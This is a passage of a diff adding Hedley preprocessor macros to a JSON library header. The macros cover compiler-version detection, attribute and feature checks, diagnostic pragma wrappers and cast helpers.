defined(JSON_HEDLEY_TI_CL7X_VERSION_CHECK) + #undef JSON_HEDLEY_TI_CL7X_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_TI_CL7X_VERSION) + #define JSON_HEDLEY_TI_CL7X_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CL7X_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_TI_CL7X_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_TI_CLPRU_VERSION) + #undef JSON_HEDLEY_TI_CLPRU_VERSION +#endif +#if defined(__TI_COMPILER_VERSION__) && defined(__PRU__) + #define JSON_HEDLEY_TI_CLPRU_VERSION JSON_HEDLEY_VERSION_ENCODE(__TI_COMPILER_VERSION__ / 1000000, (__TI_COMPILER_VERSION__ % 1000000) / 1000, (__TI_COMPILER_VERSION__ % 1000)) +#endif + +#if defined(JSON_HEDLEY_TI_CLPRU_VERSION_CHECK) + #undef JSON_HEDLEY_TI_CLPRU_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_TI_CLPRU_VERSION) + #define JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TI_CLPRU_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_CRAY_VERSION) + #undef JSON_HEDLEY_CRAY_VERSION +#endif +#if defined(_CRAYC) + #if defined(_RELEASE_PATCHLEVEL) + #define JSON_HEDLEY_CRAY_VERSION JSON_HEDLEY_VERSION_ENCODE(_RELEASE_MAJOR, _RELEASE_MINOR, _RELEASE_PATCHLEVEL) + #else + #define JSON_HEDLEY_CRAY_VERSION JSON_HEDLEY_VERSION_ENCODE(_RELEASE_MAJOR, _RELEASE_MINOR, 0) + #endif +#endif + +#if defined(JSON_HEDLEY_CRAY_VERSION_CHECK) + #undef JSON_HEDLEY_CRAY_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_CRAY_VERSION) + #define JSON_HEDLEY_CRAY_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_CRAY_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_CRAY_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_IAR_VERSION) + #undef JSON_HEDLEY_IAR_VERSION +#endif +#if defined(__IAR_SYSTEMS_ICC__) + #if __VER__ > 1000 + #define JSON_HEDLEY_IAR_VERSION JSON_HEDLEY_VERSION_ENCODE((__VER__ / 1000000), ((__VER__ / 1000) % 1000), (__VER__ % 1000)) + #else + #define JSON_HEDLEY_IAR_VERSION JSON_HEDLEY_VERSION_ENCODE(VER / 100, __VER__ % 100, 0) + #endif +#endif + +#if defined(JSON_HEDLEY_IAR_VERSION_CHECK) + #undef JSON_HEDLEY_IAR_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_IAR_VERSION) + #define JSON_HEDLEY_IAR_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_IAR_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_IAR_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_TINYC_VERSION) + #undef JSON_HEDLEY_TINYC_VERSION +#endif +#if defined(__TINYC__) + #define JSON_HEDLEY_TINYC_VERSION JSON_HEDLEY_VERSION_ENCODE(__TINYC__ / 1000, (__TINYC__ / 100) % 10, __TINYC__ % 100) +#endif + +#if defined(JSON_HEDLEY_TINYC_VERSION_CHECK) + #undef JSON_HEDLEY_TINYC_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_TINYC_VERSION) + #define JSON_HEDLEY_TINYC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TINYC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_TINYC_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_DMC_VERSION) + #undef JSON_HEDLEY_DMC_VERSION +#endif +#if defined(__DMC__) + #define JSON_HEDLEY_DMC_VERSION JSON_HEDLEY_VERSION_ENCODE(__DMC__ >> 8, (__DMC__ >> 4) & 0xf, __DMC__ & 0xf) +#endif + +#if defined(JSON_HEDLEY_DMC_VERSION_CHECK) + #undef JSON_HEDLEY_DMC_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_DMC_VERSION) + #define JSON_HEDLEY_DMC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_DMC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_DMC_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_COMPCERT_VERSION) + #undef JSON_HEDLEY_COMPCERT_VERSION +#endif +#if defined(__COMPCERT_VERSION__) + #define JSON_HEDLEY_COMPCERT_VERSION JSON_HEDLEY_VERSION_ENCODE(__COMPCERT_VERSION__ / 10000, (__COMPCERT_VERSION__ / 100) % 100, __COMPCERT_VERSION__ % 100) +#endif + +#if defined(JSON_HEDLEY_COMPCERT_VERSION_CHECK) + #undef JSON_HEDLEY_COMPCERT_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_COMPCERT_VERSION) + #define JSON_HEDLEY_COMPCERT_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_COMPCERT_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_COMPCERT_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_PELLES_VERSION) + #undef JSON_HEDLEY_PELLES_VERSION +#endif +#if defined(__POCC__) + #define JSON_HEDLEY_PELLES_VERSION JSON_HEDLEY_VERSION_ENCODE(__POCC__ / 100, __POCC__ % 100, 0) +#endif + +#if defined(JSON_HEDLEY_PELLES_VERSION_CHECK) + #undef JSON_HEDLEY_PELLES_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_PELLES_VERSION) + #define JSON_HEDLEY_PELLES_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_PELLES_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_PELLES_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_GCC_VERSION) + #undef JSON_HEDLEY_GCC_VERSION +#endif +#if \ + defined(JSON_HEDLEY_GNUC_VERSION) && \ + !defined(__clang__) && \ + !defined(JSON_HEDLEY_INTEL_VERSION) && \ + !defined(JSON_HEDLEY_PGI_VERSION) && \ + !defined(JSON_HEDLEY_ARM_VERSION) && \ + !defined(JSON_HEDLEY_TI_VERSION) && \ + !defined(JSON_HEDLEY_TI_ARMCL_VERSION) && \ + !defined(JSON_HEDLEY_TI_CL430_VERSION) && \ + !defined(JSON_HEDLEY_TI_CL2000_VERSION) && \ + !defined(JSON_HEDLEY_TI_CL6X_VERSION) && \ + !defined(JSON_HEDLEY_TI_CL7X_VERSION) && \ + !defined(JSON_HEDLEY_TI_CLPRU_VERSION) && \ + !defined(__COMPCERT__) + #define JSON_HEDLEY_GCC_VERSION JSON_HEDLEY_GNUC_VERSION +#endif + +#if defined(JSON_HEDLEY_GCC_VERSION_CHECK) + #undef JSON_HEDLEY_GCC_VERSION_CHECK +#endif +#if defined(JSON_HEDLEY_GCC_VERSION) + #define JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_GCC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch)) +#else + #define JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) (0) +#endif + +#if defined(JSON_HEDLEY_HAS_ATTRIBUTE) + #undef JSON_HEDLEY_HAS_ATTRIBUTE +#endif +#if defined(__has_attribute) + #define JSON_HEDLEY_HAS_ATTRIBUTE(attribute) __has_attribute(attribute) +#else + #define JSON_HEDLEY_HAS_ATTRIBUTE(attribute) (0) +#endif + +#if defined(JSON_HEDLEY_GNUC_HAS_ATTRIBUTE) + #undef JSON_HEDLEY_GNUC_HAS_ATTRIBUTE +#endif +#if defined(__has_attribute) + #define JSON_HEDLEY_GNUC_HAS_ATTRIBUTE(attribute,major,minor,patch) __has_attribute(attribute) +#else + #define JSON_HEDLEY_GNUC_HAS_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_GCC_HAS_ATTRIBUTE) + #undef JSON_HEDLEY_GCC_HAS_ATTRIBUTE +#endif +#if defined(__has_attribute) + #define JSON_HEDLEY_GCC_HAS_ATTRIBUTE(attribute,major,minor,patch) __has_attribute(attribute) +#else + #define JSON_HEDLEY_GCC_HAS_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_HAS_CPP_ATTRIBUTE) + #undef JSON_HEDLEY_HAS_CPP_ATTRIBUTE +#endif +#if \ + defined(__has_cpp_attribute) && \ + defined(__cplusplus) && \ + (!defined(JSON_HEDLEY_SUNPRO_VERSION) || JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,15,0)) + #define JSON_HEDLEY_HAS_CPP_ATTRIBUTE(attribute) __has_cpp_attribute(attribute) +#else + #define JSON_HEDLEY_HAS_CPP_ATTRIBUTE(attribute) (0) +#endif + +#if defined(JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS) + #undef JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS +#endif +#if !defined(__cplusplus) || !defined(__has_cpp_attribute) + #define JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS(ns,attribute) (0) +#elif \ + !defined(JSON_HEDLEY_PGI_VERSION) && \ + !defined(JSON_HEDLEY_IAR_VERSION) && \ + (!defined(JSON_HEDLEY_SUNPRO_VERSION) || JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,15,0)) && \ + (!defined(JSON_HEDLEY_MSVC_VERSION) || JSON_HEDLEY_MSVC_VERSION_CHECK(19,20,0)) + #define JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS(ns,attribute) JSON_HEDLEY_HAS_CPP_ATTRIBUTE(ns::attribute) +#else + #define JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS(ns,attribute) (0) +#endif + +#if defined(JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE) + #undef JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE +#endif +#if defined(__has_cpp_attribute) && defined(__cplusplus) + #define JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE(attribute,major,minor,patch) __has_cpp_attribute(attribute) +#else + #define JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE) + #undef JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE +#endif +#if defined(__has_cpp_attribute) && defined(__cplusplus) + #define JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE(attribute,major,minor,patch) __has_cpp_attribute(attribute) +#else + #define JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_HAS_BUILTIN) + #undef JSON_HEDLEY_HAS_BUILTIN +#endif +#if defined(__has_builtin) + #define JSON_HEDLEY_HAS_BUILTIN(builtin) __has_builtin(builtin) +#else + #define JSON_HEDLEY_HAS_BUILTIN(builtin) (0) +#endif + +#if defined(JSON_HEDLEY_GNUC_HAS_BUILTIN) + #undef JSON_HEDLEY_GNUC_HAS_BUILTIN +#endif +#if defined(__has_builtin) + #define JSON_HEDLEY_GNUC_HAS_BUILTIN(builtin,major,minor,patch) __has_builtin(builtin) +#else + #define JSON_HEDLEY_GNUC_HAS_BUILTIN(builtin,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_GCC_HAS_BUILTIN) + #undef JSON_HEDLEY_GCC_HAS_BUILTIN +#endif +#if defined(__has_builtin) + #define JSON_HEDLEY_GCC_HAS_BUILTIN(builtin,major,minor,patch) __has_builtin(builtin) +#else + #define JSON_HEDLEY_GCC_HAS_BUILTIN(builtin,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_HAS_FEATURE) + #undef JSON_HEDLEY_HAS_FEATURE +#endif +#if defined(__has_feature) + #define JSON_HEDLEY_HAS_FEATURE(feature) __has_feature(feature) +#else + #define JSON_HEDLEY_HAS_FEATURE(feature) (0) +#endif + +#if defined(JSON_HEDLEY_GNUC_HAS_FEATURE) + #undef JSON_HEDLEY_GNUC_HAS_FEATURE +#endif +#if defined(__has_feature) + #define JSON_HEDLEY_GNUC_HAS_FEATURE(feature,major,minor,patch) __has_feature(feature) +#else + #define JSON_HEDLEY_GNUC_HAS_FEATURE(feature,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_GCC_HAS_FEATURE) + #undef JSON_HEDLEY_GCC_HAS_FEATURE +#endif +#if defined(__has_feature) + #define JSON_HEDLEY_GCC_HAS_FEATURE(feature,major,minor,patch) __has_feature(feature) +#else + #define JSON_HEDLEY_GCC_HAS_FEATURE(feature,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_HAS_EXTENSION) + #undef JSON_HEDLEY_HAS_EXTENSION +#endif +#if defined(__has_extension) + #define JSON_HEDLEY_HAS_EXTENSION(extension) __has_extension(extension) +#else + #define JSON_HEDLEY_HAS_EXTENSION(extension) (0) +#endif + +#if defined(JSON_HEDLEY_GNUC_HAS_EXTENSION) + #undef JSON_HEDLEY_GNUC_HAS_EXTENSION +#endif +#if defined(__has_extension) + #define JSON_HEDLEY_GNUC_HAS_EXTENSION(extension,major,minor,patch) __has_extension(extension) +#else + #define JSON_HEDLEY_GNUC_HAS_EXTENSION(extension,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_GCC_HAS_EXTENSION) + #undef JSON_HEDLEY_GCC_HAS_EXTENSION +#endif +#if defined(__has_extension) + #define JSON_HEDLEY_GCC_HAS_EXTENSION(extension,major,minor,patch) __has_extension(extension) +#else + #define JSON_HEDLEY_GCC_HAS_EXTENSION(extension,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE) + #undef JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE +#endif +#if defined(__has_declspec_attribute) + #define JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE(attribute) __has_declspec_attribute(attribute) +#else + #define JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE(attribute) (0) +#endif + +#if defined(JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE) + #undef JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE +#endif +#if defined(__has_declspec_attribute) + #define JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE(attribute,major,minor,patch) __has_declspec_attribute(attribute) +#else + #define JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE) + #undef JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE +#endif +#if defined(__has_declspec_attribute) + #define JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE(attribute,major,minor,patch) __has_declspec_attribute(attribute) +#else + #define JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_HAS_WARNING) + #undef JSON_HEDLEY_HAS_WARNING +#endif +#if defined(__has_warning) + #define JSON_HEDLEY_HAS_WARNING(warning) __has_warning(warning) +#else + #define JSON_HEDLEY_HAS_WARNING(warning) (0) +#endif + +#if defined(JSON_HEDLEY_GNUC_HAS_WARNING) + #undef JSON_HEDLEY_GNUC_HAS_WARNING +#endif +#if defined(__has_warning) + #define JSON_HEDLEY_GNUC_HAS_WARNING(warning,major,minor,patch) __has_warning(warning) +#else + #define JSON_HEDLEY_GNUC_HAS_WARNING(warning,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch) +#endif + +#if defined(JSON_HEDLEY_GCC_HAS_WARNING) + #undef JSON_HEDLEY_GCC_HAS_WARNING +#endif +#if defined(__has_warning) + #define JSON_HEDLEY_GCC_HAS_WARNING(warning,major,minor,patch) __has_warning(warning) +#else + #define JSON_HEDLEY_GCC_HAS_WARNING(warning,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) +#endif + +#if \ + (defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)) || \ + defined(__clang__) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,0,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) || \ + JSON_HEDLEY_PGI_VERSION_CHECK(18,4,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,7,0) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(2,0,1) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,1,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,0,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \ + JSON_HEDLEY_CRAY_VERSION_CHECK(5,0,0) || \ + JSON_HEDLEY_TINYC_VERSION_CHECK(0,9,17) || \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(8,0,0) || \ + (JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) && defined(__C99_PRAGMA_OPERATOR)) + #define JSON_HEDLEY_PRAGMA(value) _Pragma(#value) +#elif JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0) + #define JSON_HEDLEY_PRAGMA(value) __pragma(value) +#else + #define JSON_HEDLEY_PRAGMA(value) +#endif + +#if defined(JSON_HEDLEY_DIAGNOSTIC_PUSH) + #undef JSON_HEDLEY_DIAGNOSTIC_PUSH +#endif +#if defined(JSON_HEDLEY_DIAGNOSTIC_POP) + #undef JSON_HEDLEY_DIAGNOSTIC_POP +#endif +#if defined(__clang__) + #define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma("clang diagnostic push") + #define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma("clang diagnostic pop") +#elif JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma("warning(push)") + #define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma("warning(pop)") +#elif JSON_HEDLEY_GCC_VERSION_CHECK(4,6,0) + #define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma("GCC diagnostic push") + #define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma("GCC diagnostic pop") +#elif \ + JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_DIAGNOSTIC_PUSH __pragma(warning(push)) + #define JSON_HEDLEY_DIAGNOSTIC_POP __pragma(warning(pop)) +#elif JSON_HEDLEY_ARM_VERSION_CHECK(5,6,0) + #define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma("push") + #define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma("pop") +#elif \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,4,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,1,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) + #define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma("diag_push") + #define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma("diag_pop") +#elif JSON_HEDLEY_PELLES_VERSION_CHECK(2,90,0) + #define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma("warning(push)") + #define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma("warning(pop)") +#else + #define JSON_HEDLEY_DIAGNOSTIC_PUSH + #define JSON_HEDLEY_DIAGNOSTIC_POP +#endif + +/* JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_ is for + HEDLEY INTERNAL USE ONLY. API subject to change without notice. */ +#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_) + #undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_ +#endif +#if defined(__cplusplus) +# if JSON_HEDLEY_HAS_WARNING("-Wc++98-compat") +# if JSON_HEDLEY_HAS_WARNING("-Wc++17-extensions") +# if JSON_HEDLEY_HAS_WARNING("-Wc++1z-extensions") +# define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(xpr) \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + _Pragma("clang diagnostic ignored \"-Wc++98-compat\"") \ + _Pragma("clang diagnostic ignored \"-Wc++17-extensions\"") \ + _Pragma("clang diagnostic ignored \"-Wc++1z-extensions\"") \ + xpr \ + JSON_HEDLEY_DIAGNOSTIC_POP +# else +# define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(xpr) \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + _Pragma("clang diagnostic ignored \"-Wc++98-compat\"") \ + _Pragma("clang diagnostic ignored \"-Wc++17-extensions\"") \ + xpr \ + JSON_HEDLEY_DIAGNOSTIC_POP +# endif +# else +# define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(xpr) \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + _Pragma("clang diagnostic ignored \"-Wc++98-compat\"") \ + xpr \ + JSON_HEDLEY_DIAGNOSTIC_POP +# endif +# endif +#endif +#if !defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(x) x +#endif + +#if defined(JSON_HEDLEY_CONST_CAST) + #undef JSON_HEDLEY_CONST_CAST +#endif +#if defined(__cplusplus) +# define JSON_HEDLEY_CONST_CAST(T, expr) (const_cast(expr)) +#elif \ + JSON_HEDLEY_HAS_WARNING("-Wcast-qual") || \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,6,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) +# define JSON_HEDLEY_CONST_CAST(T, expr) (__extension__ ({ \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL \ + ((T) (expr)); \ + JSON_HEDLEY_DIAGNOSTIC_POP \ + })) +#else +# define JSON_HEDLEY_CONST_CAST(T, expr) ((T) (expr)) +#endif + +#if defined(JSON_HEDLEY_REINTERPRET_CAST) + #undef JSON_HEDLEY_REINTERPRET_CAST +#endif +#if defined(__cplusplus) + #define JSON_HEDLEY_REINTERPRET_CAST(T, expr) (reinterpret_cast(expr)) +#else + #define JSON_HEDLEY_REINTERPRET_CAST(T, expr) ((T) (expr)) +#endif + +#if defined(JSON_HEDLEY_STATIC_CAST) + #undef JSON_HEDLEY_STATIC_CAST +#endif +#if defined(__cplusplus) + #define JSON_HEDLEY_STATIC_CAST(T, expr) (static_cast(expr)) +#else + #define JSON_HEDLEY_STATIC_CAST(T, expr) ((T) (expr)) +#endif + +#if defined(JSON_HEDLEY_CPP_CAST) + #undef JSON_HEDLEY_CPP_CAST +#endif +#if defined(__cplusplus) +# if JSON_HEDLEY_HAS_WARNING("-Wold-style-cast") +# define JSON_HEDLEY_CPP_CAST(T, expr) \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + _Pragma("clang diagnostic ignored \"-Wold-style-cast\"") \ + ((T) (expr)) \ + JSON_HEDLEY_DIAGNOSTIC_POP +# elif JSON_HEDLEY_IAR_VERSION_CHECK(8,3,0) +# define JSON_HEDLEY_CPP_CAST(T, expr) \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + _Pragma("diag_suppress=Pe137") \ + JSON_HEDLEY_DIAGNOSTIC_POP +# else +# define JSON_HEDLEY_CPP_CAST(T, expr) ((T) (expr)) +# endif +#else +# define JSON_HEDLEY_CPP_CAST(T, expr) (expr) +#endif + +#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED) + #undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED +#endif +#if JSON_HEDLEY_HAS_WARNING("-Wdeprecated-declarations") + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("clang diagnostic ignored \"-Wdeprecated-declarations\"") +#elif JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("warning(disable:1478 1786)") +#elif JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED __pragma(warning(disable:1478 1786)) +#elif JSON_HEDLEY_PGI_VERSION_CHECK(20,7,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("diag_suppress 1215,1216,1444,1445") +#elif JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("diag_suppress 1215,1444") +#elif JSON_HEDLEY_GCC_VERSION_CHECK(4,3,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("GCC diagnostic ignored \"-Wdeprecated-declarations\"") +#elif JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED __pragma(warning(disable:4996)) +#elif \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("diag_suppress 1291,1718") +#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,13,0) && !defined(__cplusplus) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("error_messages(off,E_DEPRECATED_ATT,E_DEPRECATED_ATT_MESS)") +#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,13,0) && defined(__cplusplus) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("error_messages(off,symdeprecated,symdeprecated2)") +#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("diag_suppress=Pe1444,Pe1215") +#elif JSON_HEDLEY_PELLES_VERSION_CHECK(2,90,0) + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma("warn(disable:2241)") +#else + #define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED +#endif + +#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS) + #undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS +#endif +#if JSON_HEDLEY_HAS_WARNING("-Wunknown-pragmas") + #define 